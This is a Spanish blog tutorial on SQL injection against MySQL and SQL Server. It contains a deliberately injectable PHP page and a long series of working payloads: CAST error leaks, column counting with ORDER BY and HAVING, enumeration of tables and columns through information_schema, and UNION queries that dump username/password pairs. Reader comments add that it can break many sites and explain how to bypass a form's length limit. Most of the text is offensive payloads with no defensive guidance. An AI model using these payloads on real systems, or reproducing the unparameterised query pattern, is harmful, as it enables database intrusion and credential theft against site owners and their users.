SQL Injection en MySQL y SQL Server: robando datos con UNIONs y CASTs
Parece que arranqué al revés yendo de difícil a más fácil mostrando SQL Injection totalmente blind antes que inyecciones más simples. Es interesante ver las técnicas que se pueden utilizar al poder ver los mensajes de error que retorna un servidor mal configurado. Para el que se lo haya perdido, comencé la serie de artículos SQLi con el artículo Inyección Mortal: SQL Injection y luego continuó en el completo artículo El arte de la inyección blind (MySQL).

Cuando un servidor retorna mensajes de error de base de datos debido a consultas incorrectas, el trabajo del atacante es mucho más fácil porque puede orientarse fácilmente sobre cómo armar las consultas y obtener datos de forma más simple y rápida. Si bien las técnicas que mostré en el artículo sobre inyección blind obviamente funcionan para estos casos, es mejor utilizar técnicas más simples como las que mostraré a continuación, siempre que sea posible.

Una vez más, las diferencias entre ciertas consultas en los distintos DBMSs hacen que los ataques varíen entre un motor y otro, pero la base es la misma. Algunos DBMSs poseen facilidades que permiten al atacante realizar menor cantidad de consultas para obtener los mismos datos.

En el siguiente artículo les mostraré cómo obtener datos a través de inyecciones en páginas web, utilizando UNION y CAST. Me centraré en los ataques con UNION que son los más utilizados e independientes del DBMS. Cubriré tanto MySQL como SQL Server que son los dos motores más utilizados en internet.

En fin, comencemos a inyectar!


Código para jugar

Como de costumbre, las explicaciones son más simples teniendo ejemplos, así que utilicemos un código de muestra sobre el cual podemos inyectar. Para hacerlo simple (y porque soy perezoso), tomemos el mismo código que utilicé en el artículo de inyección blind. En esta ocación hablaré tanto de inyecciones sobre MySQL como SQL Server. Por suerte utilizar una base de datos u otra en php es tan simple como cambiar el nombre de las funciones a llamar, por lo cual dejo el código para utilizar MySQL, y al lado de cada función les pongo un comentario con la función a colocar en el caso de utilizar SQL Server. Es obvio que para utilizar SQL Server deberán tener un Windows... a menos que hayan logrado que ande en GNU/Linux =P
<HTML>
<HEAD><TITLE>Testeando SQLi</TITLE></HEAD>
<BODY>
<?php
$db = mysql_connect('localhost', 'tester', '123456'); //mssql_connect('192.168.1.10', 'tester', '123456'); //en mi caso 192.168.1.10 es la máquina con SQL Server
mysql_select_db('test', $db); //mssql_select_db('test', $db);
if(isset($_GET['id']))
{
$query = "SELECT * FROM content WHERE id='".$_GET['id']."'";
}
else
{
$query = "SELECT * FROM content WHERE id='3'";
}

print "query: ".$query."<HR>";
print '<A HREF="?id=3">News</A> | <A HREF="?id=1">SQL Test</A> | <A HREF="?id=2">Links</A><BR><BR>';

if($result = mysql_query($query)) //if($result = mssql_query($query))
{
$row = mysql_fetch_array($result); //$row = mssql_fetch_array($result);
print("<B>".$row['title']."</B><BR><BR>");
print($row['content']);
mysql_free_result($result); //mssql_free_result($result);
}
?>
</BODY>
</HTML>
El código me retornará el contenido de la página si la consulta es correcta, y retornará el contenido cuyo id es 3 (News), en caso de que la consulta falle. La consulta ejecutada sobre la base de datos es "SELECT * FROM content WHERE id='<el-id>'"
Nuevamente, la base de datos se llama test y contiene la tabla t_content:
+----+----------+------------------------------+
| id | title | content |
+----+----------+------------------------------+
| 1 | SQL Test | vas a aprender mucho SQLi |
| 2 | Links | seccion con links |
| 3 | News | hoy aprendes inyeccion SQL |
+----+----------+------------------------------+
y la tabla t_user:
+----+---------------+--------------------------------+---------------+-------------+
| id | name | email | username | pass |
+----+---------------+--------------------------------+---------------+-------------+
| 1 | demasiadovivo | demasiadovivo@misuperemail.com | demasiadovivo | pass123 |
| 2 | emilio | emilio@otromailguay.com | emilio | linuxrulez |
| 3 | Javi | javiz@misuperemail.com | javiz | javsecurity |
+----+---------------+--------------------------------+---------------+-------------+

Inyecciones CAST y UNION

Al igual que con inyecciones blind, se utilizan básicamente dos formas de obtener datos a través de inyecciones en un consulta. Por un lado podemos utilizar expresiones booleanas con AND, o utilizar el operador UNION.
Una de las técnicas con expresiones booleanas la vimos en el artículo de inyección blind, donde tomamos substrings y convertimos caracteres a ascii para ir comparando de a letras... algo bastante tedioso. Por suerte, en SQL Server, si contamos con los errores causados en el servidor, podemos aprovechar los AND en conjunto con la función CAST. Si utilizamos CAST para intentar convertir un tipo de datos string a un entero, el servidor nos retornará un error conteniendo el string! Por ejemplo, una consulta del tipo 1=CAST(@@version as integer) nos dará un error conteniendo la versión del motor de base de datos. En el código de ejemplo, tal consulta quedaría:
?id=1' and 1=CAST(@@version as integer) and '1'='1
y nos mostraría algo como lo siguiente:
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2) ' to data type int.
El "and '1'='1" del final es para escapar la comilla que sobra en la consulta, porque sino, es posible que el DBMS retorne que sobra una comilla en lugar del error que buscamos. Otra forma de escapar este problema es utilizando comentarios luego de la consulta, como por ejemplo:
?id=1' and 1=cast(@@version as integer) --
En MySQL la técnica no sirve porque al intentar hacer un cast incorrecto, el servidor simplemente retorna 0, es decir, no origina un error.
Se puede realizar cualquier ataque realizable con UNION utilizando CAST de esta manera. Por ejemplo, pueden obtener los nombres de usuario de la tabla t_user de la siguiente manera:
?id=1' and 1=cast((select username from t_user where username <'e') as integer) and '1'='1
Es necesario que la consulta retorne un solo string, por ello utilicé la expresión "where username<'e'". Más adelante les mostraré una técnica para limitar la cantidad de filas retornadas.

La opción más comúnmente utilizada y "estándar" es realizar una unión. Ya he explicado en otros posts cómo funciona esta técnica, pero veamos un pequeño repaso. UNION nos permite unir los resultados de una consulta con los resultados de otra consulta, siempre y cuando ambas consultas tengan como resultado la misma cantidad de columnas. Si utilizamos sólo UNION, las columnas a unir deben ser del mismo tipo, pero si en cambio aprovechamos UNION ALL, podemos utilizar distintos tipos. Como veremos en la siguiente sección, existen distintas técnicas para obtener la cantidad de columnas de la consulta original (la que utiliza la página para mostrar resultados) para así poder agregar nuestra consulta y obtener datos.
De aquí en más la explicación se centrará en ataques con UNION, pero tengan en cuenta que haciendo algunos cambios, se pueden realizar las mismas consultas utilizando CAST.


Número de columnas de la consulta a inyectar

Como vimos en la sección anterior, si utilizamos UNION para obtener datos a partir de una consulta inyectable, necesitamos primero determinar la cantidad de columnas seleccionadas y el nombre de las columnas de las tablas que queremos obtener.
Para determinar el número de columnas seleccionadas podemos utilizar varias técnicas, entre las cuales están el mismo "UNION", "ORDER BY" y "HAVING and GROUP BY". Veamos cada una por separado:
- UNION: una consulta que utilice UNION retornará un error si la cantidad de columnas no es la misma en ambas consultas, por lo cual podemos probar colocando distinta cantidad de columnas hasta que la consulta no de más error. Lo lógico sería arrancar con una columna, luego dos, luego tres, etc. Para lograr esto, podemos utilizar la consulta SELECT en conjunto con strings separados por coma para delimitar la columna. Por ejemplo, si comenzamos con una columna y vamos aumentando, quedaría así:
?id=1' union select '1 //da error porque la consulta original tiene 3 columnas
?id=1' union select '1','2 //idem
?id=1' union select '1','2','3 //OK!
como ven, el último parámetro lo dejo sin comilla final porque la consulta original la va a agregar. Siempre utilicen comillas porque si utilizan números puede que la consulta falle. Los DBMS aceptan un número entre comillas en el caso de un entero, pero no aceptan enteros donde van strings. Como de antemano no sabemos qué columna es un entero y cuál es un string, lo mejor es utilizar siempre strings.
Si observan el resultado en la página, podrán ver que se muestran solo la 2da y la 3er columna, lo cual quiere decir que, si bien se seleccionan 3, puedo ver sólo dos de ellas por pantalla.

- ORDER BY: el caso de ORDER BY es muy similar a UNION. ORDER BY permite ordenar los resultados de una consulta en base a una columna. ORDER BY toma como parámetro el número de la columna que utilizamos para ordenar los resultados, si utilizamos un número de columna mayor a la cantidad de columnas retornadas por la consulta, dará error. Por ello, lo que hacemos es ir probando con el valor 1, luego 2, luego 3, etc, hasta que la consulta de error:
?id=1' order by 1 -- 1 //consulta OK porque son 3 columnas
?id=1' order by 2 -- 1 //idem
?id=1' order by 3 -- 1 //idem
?id=1' order by 4 -- 1 //error! es decir, encontramos que son 3 columnas
tal vez se pregunten por qué luego de los caracteres de comentario ingresé un 1? bueno, fue algo que descubrí luego de obtener varios errores. Resulta que MySQL no toma los caracteres de comentario como tales, a menos que, o bien no tengan nada a continuación, o bien luego les siga un espacio. En la consulta anterior, si no ingresamos un espacio y luego otro caracter, dará error. Intenten ejecutar directamente en el DBMS la misma consulta y verán el resultado.

- HAVING 1=1 and GROUP BY: posiblemente esta sea la opción más interesante de las tres, en caso de contar con SQL Server. HAVING se comporta como la cláusula WHERE, pero permite aplicarla a grupos generados por GROUP BY. Sin GROUP BY, se comporta como un WHERE. GROUP BY se utiliza con funciones de agregado como SUM para agrupar resultados en base a una cierta columna. Una buena explicación de HAVING la pueden leer en SQL Tutorial - SQL HAVING, y la de GROUP BY en SQL Tutorial - SQL GROUP BY.
En SQL Server no se aplica exactamente el estándar y si utilizan HAVING sin GROUP BY o una función de agregado, el servidor retornará un error como el siguiente:
Column 't_content.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Esto nos da la posibilidad de obtener tanto la cantidad de columnas de la consulta como el nombre de cada columna. Como ven en el error anterior, el nombre de la columna queda explícito en el mensaje. Una vez que obtenemos el nombre de una columna, podemos utilizar GROUP BY de esa columna y así en el siguiente error saltará el nombre de la segunda columna. De esta forma, obtendremos todas las columnas de la consulta:
?id=1' having 1=1 -- 1 //nos retorna "Column 't_content.id' is invalid..." es decir, obtenemos el nombre de la primer columna seleccionada
?id=1' group by id having 1=1 -- 1 //nos retorna "Column 't_content.title' is invalid...", con lo que obtenemos el nombre de la segunda columna
?id=1' group by id,title having 1=1 -- 1 //nos retorna "Column 't_content.content' is invalid...", y ya sabemos el nombre de la tercer columna
?id=1' group by id,title,content having 1=1 -- 1 //no obtenemos error, lo cual quiere decir que ya obtuvimos todas las columnas de la consulta, y que la cantidad de columnas es 3.

Nombres de tablas

Ya mostré cómo obtener los nombres de las tablas en MySQL utilizando inyección blind y las funciones substring, upper y ascii. Como repaso, les comento que todas las tablas de todas las bases de datos se almacenan en la base de datos information_schema, en la tabla tables. La columna que nos interesa de esta tabla es table_name y la podemos obtener ejecutando:
SELECT table_name FROM information_schema.tables
lo cual traducido a una inyección en nuestra página de ejemplo sería:
?id=-1' union all select '1',table_name,'3' from information_schema.tables limit 0,1 -- 1
?id=-1' union all select '1',table_name,'3' from information_schema.tables limit 1,1 -- 1
...
?id=-1' union all select table_name,'1','1' from information_schema.tables limit n,1 -- 1
Si prestaron atención, verán varias cosas interesantes en la consulta anterior. Por un lado utilicé el id=-1 que sé que no retornará ningún contenido, y así puedo ver la fila obtenida en la unión. Si no hiciera esto, como la página toma sólo la primer fila retornada, no podría ver el resultado de mi consulta (que quedaría segunda). Esto hace que deba consultar las filas de a una, y me lleva a utilizar el operador LIMIT. En la primer consulta comienzo con offset 0 y obtengo el primer nombre de tabla, en la segunda comienzo con offset 1, y obtengo el segundo, y de esta forma continúo hasta obtener todas las tablas. Por último verán que agregué un '1' al principio y un '3' al final para completar la cantidad de campos necesarios en la unión. No puedo utilizar el primer campo porque la página no me lo muestra, así que utilizo el segundo (también podría haber utilizado el tercero).

Es importante destacar que si el usuario con el que se ejecuta la consulta posee permisos en varias bases de datos, les mostrará el nombre de todas las tablas a las que tenga acceso. Por ello, es necesario restringir la búsqueda a la base de datos que nos interesa. El nombre de la base de datos actual se puede obtener ejecutando la función database():
SELECT database()
que se traduce a la siguiente inyección:
?id=-1' union all select '1',database(),user() -- 1 //me retorna test, y tester@localhost
Como es gratis, ademas de obtener el nombre de la base de datos, aproveché para obtener también el nombre del usuario.
Ya sabiendo que el nombre de la base de datos es test, puedo customizar la consulta anterior para que sólo me retorne las tablas de esta base de datos de la siguiente forma:
SELECT table_name FROM information_schema.tables WHERE table_schema='test'
traducido a:
?id=-1' union all select '1',table_name,'3' from information_schema.tables where table_schema='test' limit 0,1 -- 1
?id=-1' union all select '1',table_name,'3' from information_schema.tables where table_schema='test' limit 1,1 -- 1
...
?id=-1' union all select '1',table_name,'3' from information_schema.tables where table_schema='test' limit n,1 -- 1
Si desean conocer la cantidad de tablas antes de realizar las consultas anteriores, pueden hacerlo con la siguiente consulta:
SELECT count(table_name) FROM information_schema.tables WHERE table_schema='test'
es decir:
?id=-1' union all select '1',count(table_name),'3' from information_schema.tables where table_schema='test
En SQL Server se puede hacer algo muy similar, solamente cambiando algunas partes de la consulta. Por un lado el nombre de las tablas se encuentran en la vista llamada INFORMATION_SCHEMA. Esto se debe a que la base de datos information_schema es un estandar ISO y por ello SQL Server la incluye como vista. Desde nuestro punto de vista da lo mismo si es una vista o una base de datos porque gracias al estándar se acceden de igual forma. Esto es, las consultas anteriores valdrán también para SQL Server. La única diferencia es que existe una vista INFORMATION_SCHEMA por cada base de datos, con lo cual, no necesitamos conocer el nombre de la base de datos porque los resultados retornados serán solamente tablas de la base de datos actual.
Algo que sí debemos cambiar en las consultas anteriores es el uso de limit. Este operador presente en MySQL, no existe en SQL Server y es necesario construir consultas bastante más complicadas... parece increíble que no tengan una función similar a limit...
La siguiente consulta la armé a partir del artículo Sql server con consultas Limit de mySQL y permite simular la función de limit:
SELECT * FROM (SELECT *, ROW_NUMBER() OVER (ORDER BY table_name) AS row FROM information_schema.tables) AS temp where row>0 and row<=1;
básicamente, la consulta genera una nueva columna con el número de la posición de la fila y luego filtra resultados en base a ese número. Como ven, es bastante más sucio que hacer un lindo limit... gracias MS por hacer nuestras vidas miserables...
La consulta anterior se traduciría a lo siguiente:
?id=-1' union all select '1',table_name,'3' from (select *,ROW_NUMBER() over (order by table_name) as row from information_schema.tables) as temp where row>0 and row<=1 --
?id=-1' union all select '1',table_name,'3' from (select *,ROW_NUMBER() over (order by table_name) as row from information_schema.tables) as temp where row>1 and row<=2 --
...
?id=-1' union all select '1',table_name,'3' from (select *,ROW_NUMBER() over (order by table_name) as row from information_schema.tables) as temp where row>n-1 and row<=n --

Nombres de columnas

Una vez que tenemos los nombres de las tablas que nos interesan, conseguir los nombres de las columnas es un proceso muy similar. La consulta es casi igual, con la salvedad que ahora buscamos el campo column_name de la tabla columns de la base de datos information_schema. Suponiendo que buscamos los campos de la tabla t_user, la consulta sería como la siguiente:
SELECT column_name FROM information_schema.columns WHERE table_schema='test' and table_name='t_user'
que en inyección MySQL se traduce a:
?id=-1' union all select '1',column_name,'3' from information_schema.columns where table_schema='test' and table_name='t_user' limit 0,1 -- 1
?id=-1' union all select '1',column_name,'3' from information_schema.columns where table_schema='test' and table_name='t_user' limit 1,1 -- 1
...
?id=-1' union all select '1',column_name,'3' from information_schema.columns where table_schema='test' and table_name='t_user' limit n,1 -- 1
y en el caso de SQL Server, se traduce a:
?id=-1' union all select '1',column_name,'3' from (select *,ROW_NUMBER() over (order by column_name) as row from information_schema.columns where table_name='t_user') as temp where row>0 and row<=1 --
?id=-1' union all select '1',column_name,'3' from (select *,ROW_NUMBER() over (order by column_name) as row from information_schema.columns where table_name='t_user') as temp where row>1 and row<=2 --
...
?id=-1' union all select '1',column_name,'3' from (select *,ROW_NUMBER() over (order by column_name) as row from information_schema.columns where table_name='t_user') as temp where row>n-1 and row<=n --

Todo listo, a cocinar!

Ahora que ya contamos con los nombres de los campos y de las tablas que queremos, ya podemos obtener cualquier información que deseemos. En este caso de ejemplo resultan interesante los datos de usuario y password, por lo cual armaré las consultas teniendo este objetivo. Como podemos obtener de a dos datos a la vez, viene justo para sacar cada par usuario/password de a una consulta.
Una vez más, veamos cómo es la consulta real y cómo se traduce a la inyección:
SELECT username,pass FROM t_user
en MySQL:
?id=-1' union all select '1',username,pass from t_user limit 0,1 -- 1
?id=-1' union all select '1',username,pass from t_user limit 1,1 -- 1
...
?id=-1' union all select '1',username,pass from t_user limit n,1 -- 1
en SQL Server:
?id=-1' union all select '1',username,pass from (select *,ROW_NUMBER() over (order by username) as row from t_user) as temp where row>0 and row<=1 --
?id=-1' union all select '1',username,pass from (select *,ROW_NUMBER() over (order by username) as row from t_user) as temp where row>1 and row<=2 --
...
?id=-1' union all select '1',username,pass from (select *,ROW_NUMBER() over (order by username) as row from t_user) as temp where row>n-1 and row<=n --
De la misma forma se puede obtener cualquier registro de cualquier tabla. Ya tenemos el poder! =)


Reflexión final

Como siempre digo en el trabajo, lo difícil no es el ataque, sino encontrar dónde atacar. SQL Injection no es la excepción, y muestra que la parte difícil está en encontrar una variable inyectable, una vez que tenemos esto, es cuestión de utilizar la técnica que mejor se adapte para obtener los datos.
Existen algunos trucos para bypassear algunos controles de programación, que podrían dificultar la tarea. En otro artículo mostraré algunas de las técnicas más utilizadas para evitar estos controles.
Las consultas que mostré en el artículo se pueden optimizar de un par de formas, iba a ponerlas en este artículo pero ya quedó demasiado extenso, así que queda para el próximo. Ya tengo escrita un buen pedazo de esa parte, así que no debería tomarme más de unos días terminarlo.
Por último, como pudieron observar en este artículo, SQL Server permite más facilidades de inyección que MySQL. Su forma tan verbosa de mostrar errores ayuda mucho al atacante, y además provee otros mecanismos que disminuyen el trabajo. Además, algo que no mostré en este artículo es que en SQL Server es posible inyectar inserciones, borrar registros, tablas, ejecutar comandos en el servidor, entre otras cosas, porque permite concatenar acciones en una sola consulta del programa. MySQL no permite esto y por ello lo que se puede lograr es bastante más limitado, a menos que se utilicen técnicas más agresivas.
En fin, espero que luego de leer esto tengan bastante idea de lo que se puede lograr con SQLi y lo simple que es lograrlo.

5 comentarios:

Emiliano dijo...

Excelente! Con esto se pueden romper muchos sitios jeje

Anónimo dijo...

y si no cabe toda esa sentencia y solo me deja poner como 9 letras?

d3m4s1@d0v1v0 dijo...

Todo depende qué puedas inyectar, pero con sólo 9 letras lo veo bastante complicado. Habría que buscar una sentencia que entre en ese largo.

Anónimo dijo...

Si no te dejan meter mas que 9 caracteres será seguramente por el atributo "maxlenght" de html, se quita facilmente con la barra Web developer de firefoxx, instalala, después en el menú Formularios -> Eliminar restricción de caracteres y VOILA! podrás enviar cuanto texto quieras.

Anónimo dijo...

no me salen los datos de la inyección, por q podria ser?

Publicar un comentario